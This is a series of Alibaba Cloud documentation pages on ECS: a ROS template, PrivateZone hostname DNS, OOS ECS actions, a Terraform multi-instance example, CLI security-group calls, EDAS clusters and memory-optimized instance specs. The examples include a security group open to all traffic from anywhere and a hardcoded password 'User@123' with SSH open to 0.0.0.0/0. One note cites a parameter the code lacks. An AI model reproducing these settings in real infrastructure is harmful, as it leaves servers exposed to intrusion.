        VSwitch:
          Type: ALIYUN::ECS::VSwitch
          Properties:
            VpcId:
              Ref: VPC
            ZoneId:
              Fn::Select:
              - '1'
              - Fn::GetAZs:
                  Ref: ALIYUN::Region
            CidrBlock: 192.168.0.0/24
            VSwitchName: MyVsw
        SG:
          Type: ALIYUN::ECS::SecurityGroup
          Properties:
            VpcId:
              Ref: VPC
            SecurityGroupName: MySG
            SecurityGroupIngress:
            - PortRange: "-1/-1"
              Priority: 1
              SourceCidrIp: 0.0.0.0/0
              IpProtocol: all
              NicType: internet
            SecurityGroupEgress:
            - PortRange: "-1/-1"
              Priority: 1
              IpProtocol: all
              DestCidrIp: 0.0.0.0/0
              NicType: intranet
        ECS:
          Type: ALIYUN::ECS::InstanceGroup
          Properties:
            IoOptimized: optimized
            DiskMappings:
            - Category:
                Ref: DiskCategory
              Size:
                Ref: DiskSize
            SystemDiskSize:
              Ref: SystemDiskSize
            SecurityGroupId:
              Ref: SG
            VSwitchId:
              Ref: VSwitch
            MaxAmount:
              Ref: ECSAmount
            SystemDiskCategory:
              Ref: SystemDiskCategory
            VpcId:
              Ref: VPC
            MinAmount:
              Ref: ECSAmount
            ImageId:
              Ref: ImageId
            AllocatePublicIP:
              Ref: PublicIP
            InstanceType:
              Ref: InstanceType
            Password:
              Ref: LoginPassword
        VPC:
          Type: ALIYUN::ECS::VPC
          Properties:
            CidrBlock: 192.168.0.0/16
            VpcName: MyVPC
      Outputs:
        ECS实例ID:
          Value:
            Fn::GetAtt:
            - ECS
            - InstanceIds
        公网IP:
          Value:
            Fn::GetAtt:
            - ECS
            - PublicIps

      说明 您可以使用本文提供的模板,在任意地域创建资源栈。如果在创建模板时报错,请选择其它可用区或实例类型。

      ]]> ECS主机名生成DNS解析_最佳实践_云解析 PrivateZone-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS主机名生成DNS解析

      更新时间:2020-03-03 18:02:32

      本页目录

      在企业内部的开发、测试、生产等场景中,您往往需要配置易于识别的ECS主机名(ECS Hostname)。关于如何配置ECS主机名,请参考ECS主机名

      对指定的ECS主机名,您可以使用PrivateZone一键生成相应的内网DNS解析记录(即主机名记录),方便地使用ping、SSH、HTTP等方式进行内部探测、登录、服务访问等操作。

      开通PrivateZone,然后才能使用PrivateZone自动获取ECS服务器实例信息中的主机名配置,并根据主机名自动生成DNS记录。

      添加主机名记录

      参照以下步骤,为ECS实例添加内网主机名记录:

      1 . 登录云解析控制台

      2 . 前往PrivateZone > Zone列表

      3 . 单击添加Zone,在添加PrivateZone对话框中输入Zone名称(例如,host.prvz),然后单击确定

      4 . 单击目标Zone的Zone名称,进入Zone解析设置页面,选择 主机名记录 页签,单击 自动同步配置 按钮。

      5 . 首次添加主机名时,会弹出云资源访问授权对话框,请单击同意授权,授予PrivateZone访问ECS的权限。您仅需执行一次授权操作,之后该对话框不再出现。

      说明:您必须授权PrivateZone访问您的ECS,才能使用主机名记录功能。

      6 . 在自动同步主机名对话框中,选择要获取其主机名的ECS服务器区域,然后单击确定

      注意:

      • 每隔1分钟,系统自动读取所选Region内的ECS主机名信息,并更新DNS记录
      • 系统默认获取指定地区下的所有ECS主机名,您可以移除不使用主机名记录的主机。

      7 . 回到Zone列表,单击Zone下的关联VPC

      说明:您必须将Zone关联到目标ECS服务器对应的VPC,才能使主机名记录生效。

      8 . 在关联VPC对话框,选择目标ECS对应的专有网络。

      添加主机名记录后,您可以验证主机名记录是否生效。

      验证主机名记录

      添加主机名记录后,您可以通过完整的DNS域名(什么是FQDN,示例中的host001-test-huanan1.host.prvz和privatezone-test.host.prvz)访问ECS服务器。在内网环境下,连接一台ECS(例如,iz2zegrmuy7gugt0phtxtkz),通过ping命令或SSH命令验证另一台ECS(例如,host001-test-huanan1)的解析记录是否生效,例如:

      • 使用ping命令

      • 使用SSH命令

      说明:关于如何连接ECS服务器,请参考连接实例

      如果您觉得FQDN使用起来不方便,您可以设置使用主机名前缀(示例中的privatezone-test和host001-test-huanan1),操作方法如下:

      1. 打开ECS的DNS配置文件vim /etc/resolv.conf

      2. 添加以下search指令search host.prvz,将DNS记录后缀host.prvz设置成DNS优先搜索域。

      完成上述操作后,就可以使用主机名访问ECS。例如:

      • ping主机名

      • SSH主机名

      ECS主机名

      什么是ECS主机名

      ECS主机名(ECS Hostname)是您赋予ECS实例的名称,经常作为网络发现的入口,可用于进行ping探测、SSH登录等操作。

      默认情况下,新购买的ECS服务器的主机名是其实例ID,例如:iZwz94jhjs732w3fq4i7wbh7Z。您也可以根据实例用途修改此主机名,例如:webhost001-huanan1

      如何配置ECS主机名

      方法1(推荐):在购买ECS实例时,您可以在系统配置环节指定主机名。

      方法2(推荐):对于已购买的ECS实例,您可以前往ECS实例列表,在目标实例的操作项中选择更多 > 实例设置 > 修改信息,在修改信息对话框中修改Hostname

      方法3:在ECS服务器上执行hostname webhost001-huanan1命令,或者编辑/etc/sysconfig/network文件,可以临时修改ECS主机名。

      说明:这种方法只能临时配置服务器上的主机名,不会变更实例信息中记录的主机名。

      ECS Hostname配置规则

      建议您使用可以清楚表明服务器用途的的主机名。一般情况下,成熟的运维体系会包括一套完整的编号规则,例如,“业务编号-产品线-地区”。示例如下:

      • app001-live-huanan1可以表示企业的直播app应用位于在华南1地区的001号ECS服务器。
      • jack001-dev-huabei2可以表示企业内部员工jack同学使用的位于华北2地区的001号开发服务器。

      什么是FQDN

      FQDN(Fully Qualified Domain Name/完全合格域名/全称域名)是指主机名加上全路径。其中,全路径中列出了序列中所有域成员。全域名可以从逻辑上准确地表示出主机在什么地方,也可以说全域名是主机名的一种完全表示形式。从全域名中包含的信息可以看出主机在域名树中的位置。

      例如,xxxcompany公司的Web服务器的全域名可以是xxxcompany.,如果sales主机位于销售部子域,则它的全域名可以是sales.xxxcompany。当给出的名字类似于xxxcompany而不是xxxcompany.时,他们通常是指主机名,而后边带有点号(“.”是指根域名服务器)的名字才是全域名,点号实际上指出了域名树的根。

      ]]> 弹性计算(ECS)类_云产品动作_动作_运维编排服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 弹性计算(ECS)类

      更新时间:2019-07-19 10:04:44

      本页目录

      本文介绍了各场景下的弹性计算(ECS)类云产品动作(包括其用途、涉及的API以及具体参数和输出、内容链接),您通过嵌套动作即可对云产品动作进行嵌套调用,关于具体如何调用云产品动作请参考嵌套动作

      实例操作

      云产品动作名称 用途 相关的OpenAPI 参数 动作输出 链接
      ACS::ECS::DescribeInstancesByTag 根据Tag查询实例ID DescribeInstances
      • tagKey:String类型

      • tagValue:String类型

      • instanceIds :List类型

      YAML
      ACS::ECS::RunInstances 启动一个或多个ECS实例 RunInstances
      DescribeInstances
      • imageId:String类型

      • instanceType :String类型

      • securityGroupId:String类型

      • vSwitchId:String类型

      • amount:String类型

      • instanceIds :List类型

      YAML
      ACS::ECS::RunInstancesFromTemplate 根据启动模板创建ECS实例 RunInstances
      DescribeInstances
      • launchTemplateId:String类型

      • launchTemplateName: String类型

      • amount: Number类型
      • instanceIds :List类型

      YAML
      ACS::ECS::DeleteInstance 删除一个ECS实例 DeleteInstance
      • instanceId :String类型

      - YAML
      ACS::ECS::StartInstance 启动一个ECS实例 StartInstance
      DescribeInstances
      • instanceId:String类型

      - YAML
      ACS::ECS::StopInstance 停止一个ECS实例 StopInstance
      DescribeInstances
      • instanceId:String类型

      - YAML
      ACS::ECS::RebootInstance 重启一个ECS实例 RebootInstance
      DescribeInstances
      • instanceId:String类型

      - YAML
      ACS::ECS::DescribeInstancesByName 根据实例名称查询实例 DescribeInstances
      • instanceName:String类型

      • instanceIds :List 类型

      YAML
      ACS::ECS::DescribeInstancesByStatus 根据实例状态查询实例 DescribeInstances
      • status :String类型

      • instanceIds :List 类型

      YAML

      实例修改

      云产品动作名称 用途 相关的OpenAPI 参数 动作输出 链接
      ACS::ECS::ResizeDisk 扩容一块数据盘 DescribeInstances
      ResizeDisk
      DescribeDisks
      RebootInstance
      DescribeInstances
      • diskId:String类型

      • instanceId:String类型

      • newSize:String类型
      - YAML
      ACS::ECS::ModifyInstanceVpcAttribute 修改一台ECS实例的专有网络 VPC 属性 StopInstance
      DescribeInstances
      ModifyInstanceVpcAttribute
      • instanceId:String类型

      • vSwitchId:String类型
      - YAML
      ACS::ECS::ResetPassword 修改一台 ECS 实例的密码 ModifyInstanceAttribute
      RebootInstance
      DescribeInstances
      • instanceId:String类型

      • password:String类型
      • instanceId:String类型

      YAML
      ACS::ECS::ModifyVncPassword 修改一台 ECS 实例VNC密码 ModifyInstanceVncPasswd
      RebootInstance
      DescribeInstances
      • instanceId:String类型

      • vncPassword :String类型
      - YAML
      ACS::ECS::ModifyPrepaySpec 升级或者降低预付费实例规格 StopInstance
      DescribeInstances
      ModifyPrepayInstanceSpec
      StartInstance
      DescribeInstances
      • instanceId:String类型

      • autoPay:String类型

      • instanceType:String类型

      • orderId:String类型

      YAML
      ACS::ECS::AttachDisk 安装磁盘 AttachDisk
      DescribeDisks
      • instanceId:String类型

      • diskId:String类型
      - YAML
      ACS::ECS::DetachDisk 卸载磁盘 DetachDisk
      DescribeDisks
      • instanceId:String类型

      • diskId:String类型
      - YAML

      云助手

      云产品动作名称 用途 相关的OpenAPI 参数 动作输出 链接
      ACS::ECS::InstallCloudAssistant 表示安装云助手 InstallCloudAssistant
      RebootInstance
      DescribeInstances
      DescribeCloudAssistantStatus
      • instanceId:String类型

      - YAML
      ACS::ECS::RunCommand 表示执行远程命令 CreateCommand
      InvokeCommand
      DescribeInvocations
      DescribeInvocationResults
      DeleteCommand
      • instanceId:String类型

      • commandContent:String类型

      • commandType:String类型

      • invocationResult:String类型

      YAML

      其他

      云产品动作名称 用途 相关的OpenAPI 参数 动作输出 链接
      ACS::ECS::CreateImage 表示创建镜像 DescribeInstances
      CreateImage
      DescribeImages
      • instanceId:String类型

      • imageName:String类型
      • imageId:String类型

      YAML
      ACS::ECS::CreateSnapshot 表示创建快照 DescribeInstances
      CreateSnapshot
      • instanceId:String类型

      • diskId:String类型

      • snapshotName:String类型

      • snapshotId :String类型

      YAML
      ACS::ECS::ResetDisk 表示回滚磁盘 StopInstance
      DescribeInstances
      ResetDisk StartInstance
      DescribeInstances
      • instanceId:String类型

      • diskId:String类型

      • snapshotId:String类型

      - YAML
      ACS::ECS::CreateAndAttachDisk 表示创建并且安装磁盘 DescribeInstances
      CreateDisk
      DescribeDisks
      AttachDisk
      • instanceId:String类型

      • diskName:String类型

      • zoneId:String类型

      • diskCategory:String类型

      • size:String类型

      • diskId:String类型
      YAML
      ACS::ECS::ReplaceSystemDisk 表示更换系统盘 StopInstance
      DescribeInstances
      ReplaceSystemDisk
      StartInstance
      • instanceId:String类型

      • imageId:String类型
      - YAML
      ACS::ECS::ReInitDisk 表示初始化云盘 DescribeDisks
      DescribeInstances
      ReInitDisk StartInstance
      DescribeInstances
      • diskId:String类型
      - YAML
      ACS::ECS::AllocatePublicIpAddress 表示为一台实例分配一个公网IP地址 DescribeInstances
      AllocatePublicIpAddress
      RebootInstance
      DescribeInstances
      • instanceId:String类型
      - YAML
      ACS::ECS::CreateAndAttachNetworkInterface 创建并安装网卡 DescribeInstances
      CreateNetworkInterface
      AttachNetworkInterface
      • instanceId:String类型

      • securityGroupId:String类型

      • vSwitchId:String类型

      • networkInterfaceId:String类型

      YAML
      ACS::ECS::DeleteImage 删除镜像 DeleteImage
      • imageId:String类型
      - YAML
      ACS::ECS::InstallLogtail 安装日志服务 DescribeInstances
      CreateCommand
      InvokeCommand
      DescribeInvocations
      DescribeInvocationResults
      DeleteCommand
      • instanceId:String类型

      • logTailUserDefinedId:String类型

      • OOSAssumeRole:String类型

      • exitCode:String类型

      • invocationResult:String类型

      YAML

      ]]> 创建多台ECS实例_Terraform_部署与弹性_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建多台ECS实例

      更新时间:2020-04-07 14:26:23

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍如何使用Terraform模块批量创建多台ECS实例。

      操作步骤

      1. 创建VPC网络和交换机。

        本示例中Terraform的版本为0.11。

        说明 Terraform 0.11及更早的版本,变量表达式使用示例为vpc_id = "${alicloud_vpc.vpc.id}"。Terraform 0.12版本进行了更新,变量表达式使用示例为vpc_id = "alicloud_vpc.vpc.id"。请根据您安装的版本修改相应的变量表达式的格式。

        1. 创建terraform.tf文件,输入以下内容,保存在当前的执行目录中。

          resource "alicloud_vpc" "vpc" {
            name       = "tf_test_foo"
            cidr_block = "172.16.0.0/12"
          }
          
          resource "alicloud_vswitch" "vsw" {
            vpc_id            = "${alicloud_vpc.vpc.id}"
            cidr_block        = "172.16.0.0/21"
            availability_zone = "cn-beijing-b"
          }

        2. 运行terraform init初始化环境。
        3. 运行terraform plan查看资源。
        4. 确认资源无误后,运行terraform apply开始创建。
        5. 运行terraform show查看已创建的VPC和VSwitch。

          您也可以登录VPC控制台查看VPC和VSwitch的属性。

      2. 创建安全组,并将安全组作用于上一步创建的VPC中。
        1. terraform.tf文件中增加以下内容。

          resource "alicloud_security_group" "default" {
            name = "default"
            vpc_id = "${alicloud_vpc.vpc.id}"
          }
          
          resource "alicloud_security_group_rule" "allow_all_tcp" {
            type              = "ingress"
            ip_protocol       = "tcp"
            nic_type          = "internet"
            policy            = "accept"
            port_range        = "22/22"
            priority          = 1
            security_group_id = "${alicloud_security_group.default.id}"
            cidr_ip           = "0.0.0.0/0"
          }

        2. 运行terraform plan查看资源。
        3. 确认资源无误后,运行terraform apply开始创建。
        4. 运行terraform show查看已创建的安全组和安全组规则。

          您也可以登录ECS控制台查看安全组和安全组规则。

      3. 使用Module创建多台ECS实例。在本示例中,创建3台ECS实例。
        1. terraform.tf文件中增加以下内容。

          module "tf-instances" {
            source = "alibaba/ecs-instance/alicloud"
            vswitch_id = "${alicloud_vswitch.vsw.id}"
            group_ids = ["${alicloud_security_group.default.*.id}"]
            availability_zone = "cn-beijing-b"
            disk_category = "cloud_ssd"
            disk_name = "my_module_disk"
            disk_size = "50"
            number_of_disks = 7
          
            instance_name = "my_module_instances_"
            host_name = "sample"
            internet_charge_type = "PayByTraffic"
            number_of_instances = "3"
            password="User@123"
          }

          说明

          • 在上述示例中,指定了internet_max_bandwith_out = 10,因此会自动为实例分配一个公网IP。
          • 详细的参数解释请参见参数说明

        2. 运行terraform plan查看资源。
        3. 确认资源无误后,运行terraform apply开始创建。
        4. 运行terraform show查看已创建的ECS实例。
        5. 运行ssh root@<publicip>,并输入密码来访问ECS实例。

      操作样例

      provider "alicloud" {}
      
      resource "alicloud_vpc" "vpc" {
        name       = "tf_test_foo"
        cidr_block = "172.16.0.0/12"
      }
      
      resource "alicloud_vswitch" "vsw" {
        vpc_id            = "${alicloud_vpc.vpc.id}"
        cidr_block        = "172.16.0.0/21"
        availability_zone = "cn-beijing-b"
      }
      
      resource "alicloud_security_group" "default" {
        name = "default"
        vpc_id = "${alicloud_vpc.vpc.id}"
      }
      
      
      resource "alicloud_security_group_rule" "allow_all_tcp" {
        type              = "ingress"
        ip_protocol       = "tcp"
        nic_type          = "intranet"
        policy            = "accept"
        port_range        = "22/22"
        priority          = 1
        security_group_id = "${alicloud_security_group.default.id}"
        cidr_ip           = "0.0.0.0/0"
      }
      
      module "tf-instances" {
        source = "alibaba/ecs-instance/alicloud"
        vswitch_id = "${alicloud_vswitch.vsw.id}"
        group_ids = ["${alicloud_security_group.default.*.id}"]
        availability_zone = "cn-beijing-b"
        disk_category = "cloud_ssd"
        disk_name = "my_module_disk"
        disk_size = "50"
        number_of_disks = 7
      
        instance_name = "my_module_instances_"
        host_name = "sample"
        internet_charge_type = "PayByTraffic"
        number_of_instances = "3"
        password="User@123"
      }

      ]]> 为安全组添加ECS实例_安全组_CLI示例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 为安全组添加ECS实例

      更新时间:2020-02-13 18:44:58

      本页目录

      通过阿里云CLI调用JoinSecurityGroup API将一台ECS实例加入到指定的安全组。

      背景信息

      您可以调用JoinSecurityGroup将一台ECS实例加入到指定的安全组中。相关API文档请参见JoinSecurityGroup

      通过阿里云CLI调用API时,不同数据类型的请求参数取值必须遵循格式要求,详情请参见参数格式说明

      接口说明

      调用该接口时,您需要注意:

      • 加入安全组之前,实例必须处于已停止(Stopped)或者运行中(Running)状态。
      • 一台实例最多可以加入五个安全组。
      • 您可以提交工单申请将实例加入更多安全组,最多不能超过16个安全组。
      • 每个安全组最多能管理1000台实例。
      • 您的安全组和实例必须属于同一个阿里云地域。
      • 您的安全组和实例的网络类型必须相同。如果网络类型为专有网络VPC,则安全组和实例必须属于同一个VPC。

      CLI请求示例

      1. 通过DescribeInstances API查询您需要使用的ECS实例ID。

        本示例中,通过实例名称查询。

        aliyun ecs DescribeInstances --RegionId cn-hangzhou --InstanceName wpdemo --output cols=Instances.Instance[].InstanceId

        返回结果示例:

        Instances.Instance[].InstanceId
        -------------------------------
        [i-bp14a7xie8erwsvo****]

      2. 通过DescribeSecurityGroups API查询您需要添加ECS实例的安全组ID。

        aliyun ecs DescribeSecurityGroups --RegionId cn-hangzhou --DryRun false --output cols=SecurityGroupId rows=SecurityGroups.SecurityGroup[]

        返回结果示例:

        SecurityGroupId
        ---------------
        sg-bp1i4c0xgqxadew2****

      3. 将ECS实例i-bp14a7xie8erwsvo****添加到安全组sg-bp1i4c0xgqxadew2****中。

        aliyun ecs JoinSecurityGroup --SecurityGroupId sg-bp1i4c0xgqxadew2**** --InstanceId i-bp14a7xie8erwsvo****

      执行结果

      {
              "RequestId": "A8E6A3F5-F8CE-45EE-BB1F-53CE139401E1"
      }

      ]]> 管理 ECS 集群_集群_资源管理_ECS集群用户指南_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 管理 ECS 集群

      更新时间:2020-03-05 11:06:49

      本页目录

      本文介绍了 ECS 集群中包含的详细信息和相关管理操作。

      查看集群列表

      1. 登录 EDAS 控制台,在页面左上角选择所需地域。
      2. 在左侧导航栏中,选择资源管理 > 集群
      3. 集群页面,选择命名空间,查看该命名空间中的集群信息。

        说明

        • 集群包括 EDAS 集群容器服务 K8S 集群两种类型。EDAS 集群中包含的集群即为 ECS 集群
        • 网络类型包括 VPC 网络经典网络

        EDAS资源管理之集群管理

      查看集群详细信息

      集群页面,单击某个集群 ID 进入集群详情页面。在集群信息区域展示了该集群的基本信息,如集群 ID 、集群名称、所属命名空间、集群类型、所属的 VPC ID、网络类型、集群状态和描述信息等信息。

      • 在该区域您可单击 VPC ID 跳转到专有网络详情页面。
      • 在该区域右上角单击查看详情可查看该集群的详细信息。
      • 在该区域右上角单击设置可修改集群的描述信息。

      管理集群中的 ECS 实例

      ECS 实例区域展示了该集群包含的 ECS 实例列表、ECS 实例的概要信息和对 ECS 实例的购买、移除和转付费方式等操作。

      • 购买 ECS 实例扩容

        您可在 ECS 实例区域右上角单击购买 ECS 扩容来代购 ECS 实例扩容,您也可以在某一 ECS 实例的操作列单击购买相同配置来参照该 ECS 实例的配置规格来代购 ECS 实例。相关操作请参见在 ECS 集群中代购 ECS 实例

      • 添加已有 ECS 实例

        在集群中添加已有的 ECS 实例的相关操作请参见导入 ECS 实例

      • 查看 ECS 实例详情

        单击 ECS 实例的 ID 即可跳转至 ECS 控制台的实例详情页面查看 ECS 实例的详细信息。

      • 查看 ECS 实例部署的应用详情

        单击 ECS 实例列表已部署应用列的应用名称,即可跳转至部署在本 ECS 实例上的应用基本信息页面查看应用的详细信息。在已部署了应用的 ECS 实例的操作列单击查看详情可查看部署应用的基本信息。

      • 移除 ECS 实例

        当 ECS 实例内没有已部署应用后,您可在集群内移除 ECS 实例。

        • 您可在没有已部署应用的 ECS 实例的操作列单击移除 ,然后在移除 ECS 实例对话框单击移除
        • 您可在 ECS 实例列表左侧批量勾选没有已部署应用的 ECS 实例,在 ECS 实例区域下方单击批量移除,然后在提示对话框单击确定

      • 按量付费转包年包月

        集群中包含按量付费的 ECS 实例,可批量转付费方式为包年包月。

        1. 在 ECS 实例列表左侧批量勾选按量付费的 ECS 实例,在 ECS 实例区域下方单击按量付费转包年包月
        2. 按量付费转包年包月页面单击批量更改
        3. 按量付费转包年包月对话框选择包年包月的时长;如果要将数据盘转为包年包月磁盘,请勾选转为包年包月磁盘。然后单击确定

      • 转移 ECS 实例至其他集群

        集群中的 ECS 实例内未包含部署应用后,可批量转移至其他集群内。

        1. 在 ECS 实例列表左侧批量勾选未部署应用的 ECS 实例,在 ECS 实例区域下方单击转移 ECS 实例
        2. 选择目标集群页签,选择命名空间和目标集群,单击下一步
        3. 准备导入页面,单击确认并导入

          说明 如果该实例不能直接导入,则需要勾选同意对以上需要导入的实例进行转化,并已知转化后原有系统中的数据将会丢失。,设置 root 账号登录该 ECS 实例的新密码。

      应用列表

      应用列表区域展示了集群内包含的应用列表,您可以查看应用名称、JDK版本、应用运行环境、实例总数、运行中的实例数和应用负责人等信息。您可以单击应用名称进入应用详情页面。

      ]]> 内存型_选择实例规格_实例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 内存型

      更新时间:2020-05-09 10:34:37

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本章节介绍云服务器ECS内存型实例规格族的特点,并列出了具体的实例规格。

      内存型实例规格族r6

      r6的特点如下:

      • 依托神龙架构,将大量虚拟化功能卸载到专用硬件,降低虚拟化开销,提供稳定可预期的超高性能
      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台r6实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 实例存储I/O性能与计算规格对应(规格越高存储I/O性能越强)

        说明 全新一代企业级实例规格族的存储I/O性能表请参见存储I/O性能

      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      • 处理器与内存配比为1:8
      • 支持开启或关闭超线程配置

        说明 ECS实例默认开启超线程配置,更多信息请参见自定义CPU选项

      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 支持变配为g6或c6
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 高性能数据库、内存数据库
        • 数据分析与挖掘、分布式内存缓存
        • Hadoop、Spark集群以及其他企业大内存需求应用

      r6包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络基础带宽能力(出/入)(Gbit/s) 网络突发带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP 云盘IOPS(万) 云盘带宽(Gbit/s)
      ecs.r6.large 2 16.0 1.0 3.0 30 2 2 6 1.0 1
      ecs.r6.xlarge 4 32.0 1.5 5.0 50 4 3 10 2.0 1.5
      ecs.r6.2xlarge 8 64.0 2.5 8.0 80 8 4 10 2.5 2
      ecs.r6.3xlarge 12 96.0 4.0 10.0 90 8 6 10 3.0 2.5
      ecs.r6.4xlarge 16 128.0 5.0 10.0 100 8 8 20 4.0 3
      ecs.r6.6xlarge 24 192.0 7.5 10.0 150 12 8 20 5.0 4
      ecs.r6.8xlarge 32 256.0 10.0 200 16 8 20 6.0 5
      ecs.r6.13xlarge 52 384 12.5 300 32 7 20 10.0 8
      ecs.r6.26xlarge 104 768.0 25.0 600 32 15 20 20.0 16

      说明

      内存增强型实例规格族re6

      re6的特点如下:

      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘
      • 针对高性能数据库、内存数据库和其他内存密集型企业应用程序进行了优化
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      • 处理器与内存配比约为1:15,高内存资源占比,最大支持3 TiB内存
      • 适用场景:
        • 高性能数据库、内存型数据库(例如SAP HANA)
        • 内存密集型应用
        • 大数据处理引擎(例如Apache Spark或Presto)

      re6包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP 云盘IOPS(万) 云盘带宽(Gbit/s)
      ecs.re6.13xlarge 52 768.0 10.0 180 16 7 20 5.0 4
      ecs.re6.26xlarge 104 1536.0 16.0 300 32 7 20 10.0 8
      ecs.re6.52xlarge 208 3072.0 32.0 600 32 15 20 20.0 16

      说明

      内存型实例规格族r5

      r5的特点如下:

      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台r5实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者Intel ® Xeon ® Platinum 8269CY(Cascade Lake),计算性能稳定
      • 处理器与内存配比为1:8
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 高性能数据库、内存数据库
        • 数据分析与挖掘、分布式内存缓存
        • Hadoop、Spark集群以及其他企业大内存需求应用

      r5包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.r5.large 2 16.0 1.0 30 2 2 6
      ecs.r5.xlarge 4 32.0 1.5 50 2 3 10
      ecs.r5.2xlarge 8 64.0 2.5 80 2 4 10
      ecs.r5.3xlarge 12 96.0 4.0 90 4 6 10
      ecs.r5.4xlarge 16 128.0 5.0 100 4 8 20
      ecs.r5.6xlarge 24 192.0 7.5 150 6 8 20
      ecs.r5.8xlarge 32 256.0 10.0 200 8 8 20
      ecs.r5.16xlarge 64 512.0 20.0 400 16 8 20

      说明

      内存增强型实例规格族re4

      re4的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 针对高性能数据库、内存数据库和其他内存密集型企业应用程序进行了优化
      • 处理器:2.2 GHz主频的Intel ® Xeon ® E7 8880 v4(Broadwell),最大睿频2.4 GHz,计算性能稳定
      • 处理器与内存配比为1:12,高内存资源占比,最大支持1920.0 GiB内存
      • ecs.re4.20xlarge和ecs.re4.40xlarge规格已经通过SAP HANA认证
      • 适用场景:
        • 高性能数据库、内存型数据库(例如SAP HANA)
        • 内存密集型应用
        • 大数据处理引擎(例如Apache Spark或Presto)

      re4包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.re4.20xlarge 80 960.0 15.0 200 16 8 20
      ecs.re4.40xlarge 160 1920.0 30.0 450 16 8 20

      说明

      内存增强型实例规格族re4e

      re4e的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 针对高性能数据库、内存数据库和其他内存密集型企业应用程序进行了优化
      • 处理器:2.2 GHz主频的Intel ® Xeon ® E7 8880 v4(Broadwell),最大睿频2.4 GHz,计算性能稳定
      • 处理器与内存配比为1:24,高内存资源占比,最大支持3840.0 GiB内存
      • 适用场景:
        • 高性能数据库、内存型数据库(例如SAP HANA)
        • 内存密集型应用
        • 大数据处理引擎(例如Apache Spark或Presto)

      re4e包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.re4e.40xlarge 160 3840.0 30.0 450 16 15 20

      说明

      内存网络增强型实例规格族se1ne

      se1ne的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 处理器与内存配比为1:8
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® E5-2682 v4(Broadwell)或Intel ® Xeon ® Platinum 8163(Skylake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 高性能数据库、内存数据库
        • 数据分析与挖掘、分布式内存缓存
        • Hadoop、Spark集群以及其他企业大内存需求应用

      se1ne包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.se1ne.large 2 16.0 1.0 30 2 2 6
      ecs.se1ne.xlarge 4 32.0 1.5 50 2 3 10
      ecs.se1ne.2xlarge 8 64.0 2.0 100 4 4 10
      ecs.se1ne.3xlarge 12 96.0 2.5 130 4 6 10
      ecs.se1ne.4xlarge 16 128.0 3.0 160 4 8 20
      ecs.se1ne.6xlarge 24 192.0 4.5 200 6 8 20
      ecs.se1ne.8xlarge 32 256.0 6.0 250 8 8 20
      ecs.se1ne.14xlarge 56 480.0 10.0 450 14 8 20

      说明

      内存型实例规格族se1

      se1的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 处理器与内存配比为1:8
      • 处理器:2.5 GHz主频的Intel ® Xeon ® E5-2682 v4(Broadwell),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高性能数据库、内存数据库
        • 数据分析与挖掘、分布式内存缓存
